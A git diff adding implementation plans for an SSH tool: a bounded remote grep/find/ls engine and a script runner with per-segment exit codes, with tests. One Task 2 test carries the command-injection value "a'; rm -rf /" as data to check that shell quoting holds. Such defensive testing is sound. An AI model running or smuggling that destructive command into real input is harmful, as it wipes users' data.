with explicit override', () => { + assert.strictEqual(assertSearchPath('/', { allowRoot: true }), '/'); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-remote-search.js` +Expected: FAIL — `Cannot find module '../src/remote-search.js'`. + +- [ ] **Step 3: Write the module skeleton** + +Create `src/remote-search.js`: + +```javascript +/** + * Remote-search engine for the v4 ssh_find tool. Pure: builders return a + * POSIX-sh command string, parsers turn raw stdout into structured hits. + * + * Every emitted command is server-side bounded: timeout wrapper, pruned + * pseudo-filesystems, -xdev unless opted out, match cap via head (SIGPIPE + * stops the walk early). A bare "/" root is refused without an override. + */ + +import { shQuote } from './stream-exec.js'; + +/** Bounded defaults baked into every ssh_find command. */ +export const SEARCH_DEFAULTS = { + matchCap: 200, // hits before head closes the pipe + timeoutSecs: 20, // hard `timeout` wall + contextLines: 0, // grep -C value + crossMounts: false, // false => -xdev + prune: ['/proc', '/sys', '/dev', '/run'], // never descended +}; + +/** + * Validate + normalize a search root. Empty path rejected; bare "/" refused + * unless allowRoot. Returns the trimmed path. + */ +export function assertSearchPath(path, { allowRoot = false } = {}) { + const p = typeof path === 'string' ? path.trim() : ''; + if (!p) throw new Error('ssh_find: path is required'); + // Collapse a string of only slashes to one "/". + const normalized = /^\/+$/.test(p) ? '/' : p.replace(/\/+$/, ''); + if (normalized === '/' && !allowRoot) { + throw new Error( + 'ssh_find: refusing to search "/" -- pass a narrower path ' + + 'or set allow_root: true', + ); + } + return normalized || '/'; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-remote-search.js` +Expected: PASS — `7 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/remote-search.js tests/test-remote-search.js +git commit -m "feat: add ssh_find search constants and path guard" +``` + +--- + +## Task 2: `buildGrepCommand` — bounded recursive grep with rg fallback + +`ssh_find action: grep` replaces a blind `ssh host grep -rn`. The emitted command prefers `rg` when present, falls back to `grep`, prunes pseudo-filesystems and `.git`, stays on one filesystem unless told otherwise, and pipes through `head -n ` so the walk dies on SIGPIPE at the cap rather than scanning the whole tree. + +**Files:** +- Modify: `src/remote-search.js` (append `buildGrepCommand`) +- Test: `tests/test-remote-search.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-remote-search.js`, change the import to add `buildGrepCommand`: + +```javascript +import { + SEARCH_DEFAULTS, + assertSearchPath, + buildGrepCommand, +} from '../src/remote-search.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- buildGrepCommand ---------------------------------------------------- +test('buildGrepCommand: wraps in timeout and prefers rg over grep', () => { + const cmd = buildGrepCommand({ pattern: 'TODO', path: '/srv/app' }); + assert(cmd.startsWith('timeout 20 '), 'hard timeout wrapper'); + assert(cmd.includes('command -v rg'), 'probes for rg'); + assert(cmd.includes('grep -rnI'), 'grep fallback present'); + assert(cmd.includes("'TODO'"), 'pattern is shell-quoted'); + assert(cmd.includes("'/srv/app'"), 'path is shell-quoted'); +}); + +test('buildGrepCommand: caps matches with head -> SIGPIPE stops the walk', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', matchCap: 50 }); + assert(cmd.includes('| head -n 50'), 'match cap via head'); +}); + +test('buildGrepCommand: prunes pseudo-filesystems and .git', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/' , allowRoot: true }); + assert(cmd.includes('--exclude-dir=.git'), 'rg/grep skip .git'); + for (const p of ['proc', 'sys', 'dev', 'run']) { + assert(cmd.includes(`--exclude-dir=${p}`), `${p} excluded`); + } +}); + +test('buildGrepCommand: one-filesystem by default, opt-in to cross', () => { + const bounded = buildGrepCommand({ pattern: 'x', path: '/a' }); + assert(bounded.includes('--one-file-system'), 'rg stays on one fs'); + const crossing = buildGrepCommand({ pattern: 'x', path: '/a', crossMounts: true }); + assert(!crossing.includes('--one-file-system'), 'cross-mount opt-in honored'); +}); + +test('buildGrepCommand: context lines threaded to both rg and grep', () => { + const cmd = buildGrepCommand({ pattern: 'x', path: '/a', contextLines: 3 }); + assert(cmd.includes('-C 3'), 'context lines passed through'); +}); + +test('buildGrepCommand: missing pattern is rejected', () => { + assert.throws(() => buildGrepCommand({ path: '/a' }), /pattern is required/); +}); + +test('buildGrepCommand: bare root still refused here', () => { + assert.throws( + () => buildGrepCommand({ pattern: 'x', path: '/' }), + /refusing to search/, + ); +}); + +test('buildGrepCommand: a pattern with quotes cannot break out', () => { + const cmd = buildGrepCommand({ pattern: "a'; rm -rf /", path: '/a' }); + // The injected `rm` text survives only inside a quoted literal. + assert(!/[^']rm -rf \//.test(cmd), 'no unquoted rm in the command'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-remote-search.js` +Expected: FAIL — `does not provide an export named 'buildGrepCommand'`. + +- [ ] **Step 3: Implement `buildGrepCommand`** + +Append to `src/remote-search.js`: + +```javascript +/** Build the prune/exclude flags shared by the rg and grep branches. */ +function excludeFlags(prune, crossMounts) { + // strip leading slash: grep/rg --exclude-dir matches a basename + const dirs = [...prune.map((p) => p.replace(/^\//, '')), '.git']; + const flags = dirs.map((d) => `--exclude-dir=${d}`); + if (!crossMounts) flags.push('--one-file-system'); + return flags.join(' '); +} + +/** + * Build a bounded recursive-grep command. Prefers rg, falls back to grep. + * Emitted shape: timeout sh -c 'if rg; then rg ...; else grep ...; fi | head' + */ +export function buildGrepCommand({ + pattern, + path, + matchCap = SEARCH_DEFAULTS.matchCap, + timeoutSecs = SEARCH_DEFAULTS.timeoutSecs, + contextLines = SEARCH_DEFAULTS.contextLines, + crossMounts = SEARCH_DEFAULTS.crossMounts, + prune = SEARCH_DEFAULTS.prune, + allowRoot = false, +} = {}) { + if (typeof pattern !== 'string' || pattern === '') { + throw new Error('ssh_find: pattern is required for action grep'); + } + const root = assertSearchPath(path, { allowRoot }); + const ex = excludeFlags(prune, crossMounts); + const ctx = contextLines > 0 ? ` -C ${contextLines | 0}` : ''; + const qp = shQuote(pattern); + const qroot = shQuote(root); + + // rg: --line-number for file:line:text, -n; --no-heading keeps it grep-shaped. + const rg = `rg --line-number --no-heading --color never${ctx} ${ex} -e ${qp} ${qroot}`; + // grep: -r recursive, -n line numbers, -I skip binaries. + const grep = `grep -rnI${ctx} ${ex} -e ${qp} ${qroot}`; + + const inner = `if command -v rg >/dev/null 2>&1; then ${rg}; ` + + `else ${grep}; fi | head -n ${matchCap | 0}`; + return `timeout ${timeoutSecs | 0} sh -c ${shQuote(inner)}`; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-remote-search.js` +Expected: PASS — `15 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/remote-search.js tests/test-remote-search.js +git commit -m "feat: add bounded buildGrepCommand for ssh_find" +``` + +--- + +## Task 3: `buildLocateCommand` and `buildLsCommand` + +`action: locate` is a bounded `find -name`; `action: ls` is a remote directory listing. Both share the `timeout` wrapper and the path guard. `locate` prunes pseudo-filesystems with `find ... -prune` and applies `-xdev`; `ls` is a single non-recursive `ls -la` of one directory and needs only the path guard. + +**Files:** +- Modify: `src/remote-search.js` (append two builders) +- Test: `tests/test-remote-search.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-remote-search.js`, change the import to add the two builders: + +```javascript +import { + SEARCH_DEFAULTS, + assertSearchPath, + buildGrepCommand, + buildLocateCommand, + buildLsCommand, +} from '../src/remote-search.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- buildLocateCommand -------------------------------------------------- +test('buildLocateCommand: timeout-wrapped find with -name glob', () => { + const cmd = buildLocateCommand({ name: '*.conf', path: '/etc' }); + assert(cmd.startsWith('timeout 20 '), 'timeout wrapper'); + assert(cmd.includes('find '), 'uses find'); + assert(cmd.includes("'/etc'"), 'path shell-quoted'); + assert(cmd.includes("-name '*.conf'"), 'name glob shell-quoted'); +}); + +test('buildLocateCommand: -xdev by default, prunes pseudo-filesystems', () => { + const cmd = buildLocateCommand({ name: 'x', path: '/', allowRoot: true }); + assert(cmd.includes('-xdev'), 'stays on one filesystem by default'); + for (const p of ['/proc', '/sys', '/dev', '/run']) { + assert(cmd.includes(`-path ${"'" + p + "'"}`), `${p} pruned`); + } + assert(cmd.includes('-prune'), 'prune action present'); +}); + +test('buildLocateCommand: crossMounts:true drops -xdev', () => { + const cmd = buildLocateCommand({ name: 'x', path: '/a', crossMounts: true }); + assert(!cmd.includes('-xdev'), 'cross-mount opt-in drops -xdev'); +}); + +test('buildLocateCommand: result count capped with head', () => { + const cmd = buildLocateCommand({ name: 'x', path: '/a', matchCap: 75 }); + assert(cmd.includes('| head -n 75'), 'cap via head'); +}); + +test('buildLocateCommand: missing name is rejected', () => { + assert.throws(() => buildLocateCommand({ path: '/a' }), /name is required/); +}); + +test('buildLocateCommand: bare root refused without override', () => { + assert.throws( + () => buildLocateCommand({ name: 'x', path: '/' }), + /refusing to search/, + ); +}); + +// --- buildLsCommand ------------------------------------------------------ +test('buildLsCommand: timeout-wrapped ls -la of one directory', () => { + const cmd = buildLsCommand({ path: '/var/log' }); + assert(cmd.startsWith('timeout 20 '), 'timeout wrapper'); + assert(cmd.includes('ls -la'), 'long listing'); + assert(cmd.includes("'/var/log'"), 'path shell-quoted'); +}); + +test('buildLsCommand: a path with spaces survives quoting', () => { + const cmd = buildLsCommand({ path: '/srv/my app' }); + assert(cmd.includes("'/srv/my app'"), 'spaced path quoted as one token'); +}); + +test('buildLsCommand: empty path is rejected', () => { + assert.throws(() => buildLsCommand({ path: '' }), /path is required/); +}); + +test('buildLsCommand: bare root is allowed -- listing / is cheap and safe', () => { + const cmd = buildLsCommand({ path: '/' }); + assert(cmd.includes("ls -la '/'"), 'root listing permitted'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-remote-search.js` +Expected: FAIL — `does not provide an export named 'buildLocateCommand'`. + +- [ ] **Step 3: Implement the two builders** + +Append to `src/remote-search.js`: + +```javascript +/** + * Build a bounded `find -name` command. Pseudo-filesystems are pruned with + * `-path X -prune -o`; -xdev keeps it on one filesystem unless crossMounts. + */ +export function buildLocateCommand({ + name, + path, + matchCap = SEARCH_DEFAULTS.matchCap, + timeoutSecs = SEARCH_DEFAULTS.timeoutSecs, + crossMounts = SEARCH_DEFAULTS.crossMounts, + prune = SEARCH_DEFAULTS.prune, + allowRoot = false, +} = {}) { + if (typeof name !== 'string' || name === '') { + throw new Error('ssh_find: name is required for action locate'); + } + const root = assertSearchPath(path, { allowRoot }); + const xdev = crossMounts ? '' : ' -xdev'; + // -path '/proc' -prune -o ... -path '/run' -prune -o -print + const pruneExpr = prune + .map((p) => `-path ${shQuote(p)} -prune -o`) + .join(' '); + const find = `find ${shQuote(root)}${xdev} ${pruneExpr} ` + + `-name ${shQuote(name)} -print`; + return `timeout ${timeoutSecs | 0} sh -c ` + + shQuote(`${find} | head -n ${matchCap | 0}`); +} + +/** + * Build a bounded `ls -la` of one directory. Listing "/" is cheap, so the + * bare-root guard does not apply here; only an empty path is rejected. + */ +export function buildLsCommand({ + path, + timeoutSecs = SEARCH_DEFAULTS.timeoutSecs, +} = {}) { + const p = typeof path === 'string' ? path.trim() : ''; + if (!p) throw new Error('ssh_find: path is required for action ls'); + const root = /^\/+$/.test(p) ? '/' : p.replace(/\/+$/, '') || '/'; + return `timeout ${timeoutSecs | 0} ls -la ${shQuote(root)}`; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-remote-search.js` +Expected: PASS — `25 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/remote-search.js tests/test-remote-search.js +git commit -m "feat: add buildLocateCommand and buildLsCommand for ssh_find" +``` + +--- + +## Task 4: Output parsers — `parseGrepHits`, `parseLocateHits`, `parseLsRows` + +The dispatcher (Plan 4) feeds raw stdout to a parser to produce structured hits the renderer turns into a table. `grep`/`rg` emit `file:line:text`; `find` emits one path per line; `ls -la` emits the long-format block. All three parsers tolerate ragged real-world output. + +**Files:** +- Modify: `src/remote-search.js` (append three parsers) +- Test: `tests/test-remote-search.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-remote-search.js`, change the import to add the three parsers: + +```javascript +import { + SEARCH_DEFAULTS, + assertSearchPath, + buildGrepCommand, + buildLocateCommand, + buildLsCommand, + parseGrepHits, + parseLocateHits, + parseLsRows, +} from '../src/remote-search.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- parseGrepHits ------------------------------------------------------- +test('parseGrepHits: file:line:text rows parsed to objects', () => { + const hits = parseGrepHits( + '/srv/app/main.js:42: const TODO = 1;\n' + + '/srv/app/util.js:7:// TODO refactor', + ); + assert.strictEqual(hits.length, 2); + assert.deepStrictEqual(hits[0], { + file: '/srv/app/main.js', line: 42, text: ' const TODO = 1;', + }); + assert.strictEqual(hits[1].line, 7); +}); + +test('parseGrepHits: a colon inside the matched text is preserved', () => { + const hits = parseGrepHits('/etc/hosts:3:127.0.0.1 ::1 localhost'); + assert.strictEqual(hits[0].text, '127.0.0.1 ::1 localhost'); + assert.strictEqual(hits[0].line, 3); +}); + +test('parseGrepHits: blank lines and grep context "--" separators dropped', () => { + const hits = parseGrepHits('/a:1:x\n--\n\n/a:5:y'); + assert.strictEqual(hits.length, 2); +}); + +test('parseGrepHits: empty / nullish input -> empty array', () => { + assert.deepStrictEqual(parseGrepHits(''), []); + assert.deepStrictEqual(parseGrepHits(null), []); +}); + +// --- parseLocateHits ----------------------------------------------------- +test('parseLocateHits: one path per line, trimmed, blanks dropped', () => { + const hits = parseLocateHits('/etc/nginx/nginx.conf\n\n/etc/ssl/openssl.conf\n'); + assert.deepStrictEqual(hits, ['/etc/nginx/nginx.conf', '/etc/ssl/openssl.conf']); +}); + +test('parseLocateHits: empty input -> empty array', () => { + assert.deepStrictEqual(parseLocateHits(''), []); +}); + +// --- parseLsRows --------------------------------------------------------- +test('parseLsRows: long-format rows parsed, "total" line skipped', () => { + const rows = parseLsRows( + 'total 12\n' + + '-rw-r--r-- 1 root root 1024 May 17 10:00 app.conf\n' + + 'drwxr-xr-x 2 root root 4096 May 16 09:30 logs', + ); + assert.strictEqual(rows.length, 2); + assert.deepStrictEqual(rows[0], { + perms: '-rw-r--r--', size: '1024', name: 'app.conf', type: 'file', + }); + assert.strictEqual(rows[1].type, 'dir'); + assert.strictEqual(rows[1].name, 'logs'); +}); + +test('parseLsRows: a filename containing spaces is kept whole', () => { + const rows = parseLsRows( + 'total 4\n-rw-r--r-- 1 u g 9 May 17 10:00 my notes.txt', + ); + assert.strictEqual(rows[0].name, 'my notes.txt'); +}); + +test('parseLsRows: symlink target is stripped from the name', () => { + const rows = parseLsRows( + 'total 0\nlrwxrwxrwx 1 u g 7 May 17 10:00 cur -> /opt/v2', + ); + assert.strictEqual(rows[0].name, 'cur'); + assert.strictEqual(rows[0].type, 'link'); +}); + +test('parseLsRows: empty input -> empty array', () => { + assert.deepStrictEqual(parseLsRows(''), []); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-remote-search.js` +Expected: FAIL — `does not provide an export named 'parseGrepHits'`. + +- [ ] **Step 3: Implement the three parsers** + +Append to `src/remote-search.js`: + +```javascript +/** + * Parse grep/rg `file:line:text` output to {file, line, text} objects. + * Splits on the first two colons only -- a colon in the match text survives. + * grep context separators (`--`) and blank lines are dropped. + */ +export function parseGrepHits(text) { + const s = text == null ? '' : String(text); + const hits = []; + for (const raw of s.split('\n')) { + const ln = raw; + if (ln === '' || ln === '--') continue; + const c1 = ln.indexOf(':'); + if (c1 === -1) continue; + const c2 = ln.indexOf(':', c1 + 1); + if (c2 === -1) continue; + const lineNo = Number(ln.slice(c1 + 1, c2)); + if (!Number.isFinite(lineNo)) continue; + hits.push({ + file: ln.slice(0, c1), + line: lineNo, + text: ln.slice(c2 + 1), + }); + } + return hits; +} + +/** Parse `find` output (one path per line) to a trimmed string array. */ +export function parseLocateHits(text) { + const s = text == null ? '' : String(text); + return s.split('\n').map((l) => l.trim()).filter((l) => l !== ''); +} + +/** Map an `ls -l` permission char to a coarse type label. */ +function lsType(perms) { + const c = perms.charAt(0); + if (c === 'd') return 'dir'; + if (c === 'l') return 'link'; + return 'file'; +} + +/** + * Parse `ls -la` long-format output to {perms, size, name, type} rows. + * The leading `total N` line is skipped; a `name -> target` symlink keeps + * only the name. Filenames with spaces survive (name = everything from + * field 9 onward). + */ +export function parseLsRows(text) { + const s = text == null ? '' : String(text); + const rows = []; + for (const raw of s.split('\n')) { + const ln = raw.trim(); + if (ln === '' || /^total \d+$/.test(ln)) continue; + // perms links owner group size mon day time name... + const m = ln.match(/^(\S+)\s+\S+\s+\S+\s+\S+\s+(\S+)\s+\S+\s+\S+\s+\S+\s+(.+)$/); + if (!m) continue; + let name = m[3]; + const arrow = name.indexOf(' -> '); + if (arrow !== -1) name = name.slice(0, arrow); + rows.push({ perms: m[1], size: m[2], name, type: lsType(m[1]) }); + } + return rows; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-remote-search.js` +Expected: PASS — `36 passed, 0 failed`. + +- [ ] **Step 5: Run the full suite to confirm zero regressions** + +Run: `npm test` +Expected: `37 files, 726 passed, 0 failed` — the previous `690 passed` plus the 36-test `test-remote-search.js` suite. Zero failures: this plan only *adds* a module and a suite, so every pre-existing suite must still pass unchanged. + +- [ ] **Step 6: Commit** + +```bash +git add src/remote-search.js tests/test-remote-search.js +git commit -m "feat: add ssh_find output parsers for grep, locate, ls" +``` + +--- + +## Done criteria + +- `src/remote-search.js` exports `SEARCH_DEFAULTS`, `assertSearchPath`, `buildGrepCommand`, `buildLocateCommand`, `buildLsCommand`, `parseGrepHits`, `parseLocateHits`, `parseLsRows`. +- Every emitted search command is `timeout`-wrapped, prunes `/proc /sys /dev /run`, caps matches with `head`, and (for grep/locate) is `-xdev`/one-filesystem unless `crossMounts` is set. +- `buildGrepCommand` / `buildLocateCommand` refuse a bare `/` root unless `allowRoot` is passed; `assertSearchPath` rejects an empty path. +- `grep` prefers `rg` and falls back to `grep`; both branches receive the same prune, context, and one-filesystem flags. +- `npm test` is green: `726 passed, 0 failed`, no regression in any pre-existing suite. + +Plan 4's `ssh_find` dispatcher imports these builders, runs the chosen command through `streamExecCommand`, feeds raw stdout to the matching parser, and renders the structured hits with `renderRows`. This plan ships the engine and its tests; the dispatcher wiring is Plan 4's responsibility. + +--- + +## Self-review + +Performed after drafting; issues found and fixed inline: + +1. **`assertSearchPath` collapsed `//` incorrectly.** First draft used `p.replace(/\/+$/, '')`, which turns `//` into the empty string and then a normal path. A `//` argument is still a bare root and must be refused. Fixed: an explicit `/^\/+$/` test maps any all-slashes string to `/` *before* the bare-root guard, so `//` is correctly refused. Test `assertSearchPath: bare root is refused` covers `//`. +2. **grep `--exclude-dir` takes a basename, not a path.** First draft passed `--exclude-dir=/proc`. `grep` (and `rg`) match `--exclude-dir` against a directory's basename, so a leading slash makes it never match. Fixed: `excludeFlags` strips the leading slash (`/proc` -> `proc`). Test asserts `--exclude-dir=proc`, not `--exclude-dir=/proc`. +3. **`-I` (skip binary) flag on grep.** Without `-I`, `grep -rn` on a tree with binaries emits `Binary file X matches` lines that the `file:line:text` parser silently drops, wasting the match cap. Added `-I` to the `grep` branch; `rg` skips binaries by default so no flag needed. Test `buildGrepCommand: wraps in timeout and prefers rg` asserts `grep -rnI`. +4. **`parseGrepHits` and a colon in the match text.** A line such as `/etc/hosts:3:127.0.0.1 ::1 localhost` must split into exactly three parts on the *first two* colons. First draft used `split(':')`, which over-split. Fixed: `indexOf` twice, then `slice` — the text after the second colon is taken verbatim. Dedicated test covers `::1`. +5. **`buildLsCommand` does not apply the bare-root guard.** Listing `/` is a single cheap `ls`, not a recursive walk — refusing it would be user-hostile and inconsistent with what a person expects. Deliberately, `buildLsCommand` only rejects an empty path; the bare-root guard applies solely to the recursive `grep`/`locate` builders. The done criteria and a test (`buildLsCommand: bare root is allowed`) state this explicitly so it is not mistaken for an oversight. +6. **`parseLsRows` regex and spaced filenames.** The 9-field `ls -l` layout means a filename with spaces would break a naive `split(/\s+/)`. The regex anchors the first 8 whitespace-delimited fields and captures `(.+)$` for the name, so `my notes.txt` is kept whole. Symlink ` -> target` is stripped after the capture. Both cases are tested. +7. **Test count arithmetic.** Verified against the plan's own step-by-step counts: Task 1 adds 7, Task 2 adds 8 (total 15), Task 3 adds 10 (total 25), Task 4 adds 11 (total 36). Baseline is `690 passed` (confirmed by running `node scripts/run-tests.mjs` at planning time), so the final `npm test` line is `726 passed`. The numbers are internally consistent. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-run-jobs.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-run-jobs.md new file mode 100644 index 0000000..b33109a --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-run-jobs.md @@ -0,0 +1,853 @@ +# ssh-mcp v4 Run Script and Detach Jobs Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build the two engines behind the new `ssh_run` actions. `src/script-runner.js` turns a `commands` array into ONE remote exec with per-segment exit codes (sentinel-delimited), so `cmd1; cmd2; cmd3` chains run in one round-trip with shared shell state. `src/job-tracker.js` powers `detach` / `job-status` / `job-kill`: a backgrounded job lands an `rc`/`pid`/`log` trio in `~/.ssh-manager/jobs//` on the remote host, and completion is decided by the *presence of the `rc` file*, not PID liveness. + +**Architecture:** Two new pure modules. `src/script-runner.js` exports a command **builder** (`buildScriptCommand`) and an output **parser** (`parseScriptSegments`). `src/job-tracker.js` exports `buildDetachCommand`, `buildJobStatusCommand`, `buildJobKillCommand`, `parseJobStatus`, plus `newJobId`. Both modules are I/O-free: builders return POSIX-`sh` strings, parsers turn raw stdout into structured objects. Plan 4's `ssh_run` dispatcher wires these to `streamExecCommand` and the incremental-offset log reader. Shipping the engines standalone means this plan does not depend on the parallel-authored dispatcher existing yet. Nothing existing is modified — purely additive, so `npm test` stays green throughout. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`. `shQuote` is reused from `src/stream-exec.js`. + +This is Plan 5b of the v4 series (Plans 1-3 — render primitives, output rewrite, compressors — are complete; Plan 4 builds the 13-tool dispatcher facade). Plans 5a (`ssh_find`) and 5c (connection reuse + timeout escalation) are siblings. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` sections 6, 7. + +--- + +## File Structure + +- **Create `src/script-runner.js`** — `buildScriptCommand` joins a `commands` array with exit-capturing sentinels; `parseScriptSegments` splits the result back into per-segment `{index, command, stdout, exitCode}`. Pure. +- **Create `src/job-tracker.js`** — `newJobId`, `buildDetachCommand`, `buildJobStatusCommand`, `buildJobKillCommand`, `parseJobStatus`. Pure; the remote job dir is `~/.ssh-manager/jobs//`. +- **Create `tests/test-script-runner.js`** — new suite. Auto-discovered by `scripts/run-tests.mjs`. +- **Create `tests/test-job-tracker.js`** — new suite. Auto-discovered. + +The modules execute nothing. Each builder returns a string the Plan 4 dispatcher runs; every server-side guarantee is therefore assertable as a substring with zero network in the suite. + +--- + +## Task 1: `buildScriptCommand` — one exec, exit-capturing sentinels + +`ssh_run action: script` replaces a raw `ssh host 'cmd1; cmd2; cmd3'`. The spec is explicit: a **single exec** over the pooled connection, segments joined server-side, each followed by an exit-capturing sentinel `printf '\n##SEG %d %d##\n' $?`. One round-trip; per-segment exit codes; `cd`/env state shared across segments because it is one shell. + +**Files:** +- Create: `src/script-runner.js` +- Test: `tests/test-script-runner.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-script-runner.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for src/script-runner.js -- ssh_run action:script engine. + * Run: node tests/test-script-runner.js + */ +import assert from 'assert'; +import { SEG_RE, buildScriptCommand } from '../src/script-runner.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing script-runner\n'); + +// --- buildScriptCommand -------------------------------------------------- +test('buildScriptCommand: joins commands into a single exec string', () => { + const cmd = buildScriptCommand(['echo a', 'echo b']); + assert.strictEqual(typeof cmd, 'string'); + assert(cmd.includes('echo a'), 'first segment present'); + assert(cmd.includes('echo b'), 'second segment present'); +}); + +test('buildScriptCommand: a sentinel with index + $? follows each segment', () => { + const cmd = buildScriptCommand(['true', 'false']); + // printf '\n##SEG %d %d##\n' 0 $? -- one per segment + const sentinels = cmd.match(/##SEG %d %d##/g) || []; + assert.strictEqual(sentinels.length, 2, 'one sentinel per segment'); + assert(cmd.includes("printf '\\n##SEG %d %d##\\n' 0 $?"), 'segment 0 sentinel'); + assert(cmd.includes("printf '\\n##SEG %d %d##\\n' 1 $?"), 'segment 1 sentinel'); +}); + +test('buildScriptCommand: segments are NOT && chained -- a failure does not abort', () => { + const cmd = buildScriptCommand(['false', 'echo still-runs']); + assert(!cmd.includes('&&'), 'no && between segments'); + // `;` lets the next segment run even after a non-zero exit. + assert(cmd.includes(';'), 'segments separated so all run'); +}); + +test('buildScriptCommand: default joins segments in one shell (shared state)', () => { + const cmd = buildScriptCommand(['cd /tmp', 'pwd']); + // No `sh -c` wrapper per segment: it is one process, so `cd` carries over. + assert(!/sh -c .* sh -c /.test(cmd), 'not one sub-shell per segment'); +}); + +test('buildScriptCommand: isolate:true wraps each segment in its own sh -c', () => { + const cmd = buildScriptCommand(['cd /tmp', 'pwd'], { isolate: true }); + const subs = cmd.match(/sh -c /g) || []; + assert.strictEqual(subs.length, 2, 'one sub-shell per segment when isolated'); +}); + +test('buildScriptCommand: empty / non-array commands is rejected', () => { + assert.throws(() => buildScriptCommand([]), /at least one command/); + assert.throws(() => buildScriptCommand(null), /at least one command/); +}); + +test('buildScriptCommand: a non-string segment is rejected', () => { + assert.throws(() => buildScriptCommand(['ok', 42]), /must be a string/); +}); + +test('SEG_RE: matches the emitted sentinel and captures index + code', () => { + const m = '\n##SEG 3 127##\n'.match(SEG_RE); + assert(m, 'sentinel matched'); + assert.strictEqual(m[1], '3', 'segment index captured'); + assert.strictEqual(m[2], '127', 'exit code captured'); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-script-runner.js` +Expected: FAIL — `Cannot find module '../src/script-runner.js'`. + +- [ ] **Step 3: Write `buildScriptCommand`** + +Create `src/script-runner.js`: + +```javascript +/** + * ssh_run action:script engine. Joins a commands array into ONE remote exec + * with exit-capturing sentinels, so a cmd1;cmd2;cmd3 chain runs in a single + * round-trip with shared shell state. parseScriptSegments splits it back. + * + * Pure: buildScriptCommand returns a POSIX-sh string, parseScriptSegments + * turns raw stdout into per-segment results. The dispatcher (Plan 4) execs. + */ + +/** + * Matches one emitted sentinel: `\n##SEG ##\n`. + * Group 1 = segment index, group 2 = that segment's $?. + */ +export const SEG_RE = /\n##SEG (\d+) (\d+)##\n/; + +/** Global twin of SEG_RE for splitting a whole stdout blob. */ +const SEG_RE_G = /\n##SEG (\d+) (\d+)##\n/g; + +/** + * Build the single-exec script string. + * Each segment is followed by `printf '\n##SEG %d %d##\n' $?` so $? + * is captured BEFORE the next segment runs. Segments are `;`-separated, not + * `&&`-chained: a non-zero segment never aborts the rest. + * + * isolate:true wraps each segment in its own `sh -c` -- separate shells, no + * shared cd/env -- for the rare caller that needs state isolation. + */ +export function buildScriptCommand(commands, { isolate = false } = {}) { + if (!Array.isArray(commands) || commands.length === 0) { + throw new Error('ssh_run script: at least one command is required'); + } + const parts = []; + commands.forEach((c, i) => { + if (typeof c !== 'string') { + throw new Error(`ssh_run script: command ${i} must be a string`); + } + // isolate => run the segment in a child shell; $? is the child's exit. + const body = isolate + ? `sh -c ${shQuoteLocal(c)}` + : `{ ${c}\n; }`; + parts.push(`${body}; printf '\\n##SEG %d %d##\\n' ${i} $?`); + }); + return parts.join('\n'); +} + +/** + * Split raw script stdout into per-segment results using the sentinels. + * Returns [{ index, command, stdout, exitCode }]. `commands` is the original + * array, used to label each segment; a segment with no sentinel (the script + * was killed mid-run) gets exitCode null. + */ +export function parseScriptSegments(stdout, commands = []) { + const s = stdout == null ? '' : String(stdout); + const segments = []; + let lastIndex = 0; + let m; + SEG_RE_G.lastIndex = 0; + while ((m = SEG_RE_G.exec(s)) !== null) { + const idx = Number(m[1]); + segments.push({ + index: idx, + command: commands[idx] != null ? commands[idx] : null, + stdout: s.slice(lastIndex, m.index), + exitCode: Number(m[2]), + }); + lastIndex = m.index + m[0].length; + } + // Trailing output after the last sentinel = an unfinished segment. + const tail = s.slice(lastIndex); + if (tail.trim() !== '') { + const idx = segments.length; + segments.push({ + index: idx, + command: commands[idx] != null ? commands[idx] : null, + stdout: tail, + exitCode: null, + }); + } + return segments; +} + +/** + * Local POSIX shell-quoter. A copy of stream-exec.js's shQuote kept here so + * script-runner has no cross-module coupling for one tiny helper. + */ +function shQuoteLocal(str) { + return `'${String(str).replace(/'/g, '\'\\\'\'')}'`; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-script-runner.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ 